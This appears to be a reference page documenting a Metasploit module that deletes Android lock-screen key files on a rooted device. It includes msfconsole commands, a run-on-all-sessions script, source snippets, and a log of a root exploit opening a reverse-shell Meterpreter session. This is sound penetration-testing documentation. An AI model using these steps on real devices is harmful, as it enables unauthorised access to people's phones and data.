Android Root Remove Device Locks (root) - Metasploit


This page contains detailed information about how to use the post/android/manage/remove_lock_root metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Android Root Remove Device Locks (root)
Module: post/android/manage/remove_lock_root
Source code: modules/post/android/manage/remove_lock_root.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): Android
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module uses root privileges to remove the device lock. In some cases the original lock method will still be present but any key/gesture will unlock the device.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/android/manage/remove_lock_root

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/android/manage/remove_lock_root
msf post(remove_lock_root) > show options
    ... show and set options ...
msf post(remove_lock_root) > set SESSION session-id
msf post(remove_lock_root) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/android/manage/remove_lock_root")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Description


This module removes the screen lock data files to remove the unlock mechanism. If the device still has a lock, the password will be blank.

The file which are removed:

  • /data/system/password.key
  • /data/system/gesture.key

Verification Steps


  1. Start msfconsole
  2. Get shell or root access on an Android device
  3. Do: use post/android/manage/remove_lock_root
  4. Do: set session [session]
  5. Do: run
  6. You should be able to unlock the device without a password or gesture.

Scenarios


Samsung Galaxy S3 Verizon (SCH-I535 w/ android 4.4.2, kernel 3.4.0)

Utilizing futex_requeue to get root access.

msf5 exploit(android/local/futex_requeue) > run

[*] Started reverse TCP handler on 111.111.1.111:4444
[*] Using target: New Samsung
[*] Loading exploit library /data/data/com.metasploit.stage/files/cbvzt
[*] Loaded library /data/data/com.metasploit.stage/files/cbvzt, deleting
[*] Waiting 300 seconds for payload
[*] Sending stage (904600 bytes) to 222.222.2.222
[*] Meterpreter session 4 opened (111.111.1.111:4444 -> 222.222.2.222:58577) at 2019-10-22 16:04:31 -0400

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > background
[*] Backgrounding session 4...
msf5 exploit(android/local/futex_requeue) > use post/android/manage/remove_lock_root
msf5 post(android/manage/remove_lock_root) > set session 4
session => 4
msf5 post(android/manage/remove_lock_root) > run

[!] SESSION may not be compatible with this module.
[*] Removing /data/system/password.key
[*] Removing /data/system/gesture.key
[*] Device should be unlocked or no longer require a pin
[*] Post module execution completed

Go back to menu.

Msfconsole Usage


Here is how the android/manage/remove_lock_root post exploitation module looks in the msfconsole:

msf6 > use post/android/manage/remove_lock_root

msf6 post(android/manage/remove_lock_root) > show info

       Name: Android Root Remove Device Locks (root)
     Module: post/android/manage/remove_lock_root
   Platform: Android
       Arch: 
       Rank: Normal

Provided by:
  timwr

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module uses root privileges to remove the device lock. In some 
  cases the original lock method will still be present but any 
  key/gesture will unlock the device.

Module Options


This is a complete list of options available in the android/manage/remove_lock_root post exploitation module:

msf6 post(android/manage/remove_lock_root) > show options

Module options (post/android/manage/remove_lock_root):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the android/manage/remove_lock_root post exploitation module:

msf6 post(android/manage/remove_lock_root) > show advanced

Module advanced options (post/android/manage/remove_lock_root):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the android/manage/remove_lock_root module can do:

msf6 post(android/manage/remove_lock_root) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the android/manage/remove_lock_root post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(android/manage/remove_lock_root) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

This module requires root permissions.


Here is a relevant code snippet related to the "This module requires root permissions." error message:

24:	    ))
25:	  end
26:	
27:	  def run
28:	    unless is_root?
29:	      print_error("This module requires root permissions.")
30:	      return
31:	    end
32:	
33:	    %W{
34:	      /data/system/password.key

Device should be unlocked or no longer require a pin


Here is a relevant code snippet related to the "Device should be unlocked or no longer require a pin" error message:

34:	      /data/system/password.key
35:	      /data/system/gesture.key
36:	    }.each do |path|
37:	      print_status("Removing #{path}")
38:	      cmd_exec("rm #{path}")
39:	    end
40:	
41:	    print_status("Device should be unlocked or no longer require a pin")
42:	  end
43:	end
44:	

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • timwr

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.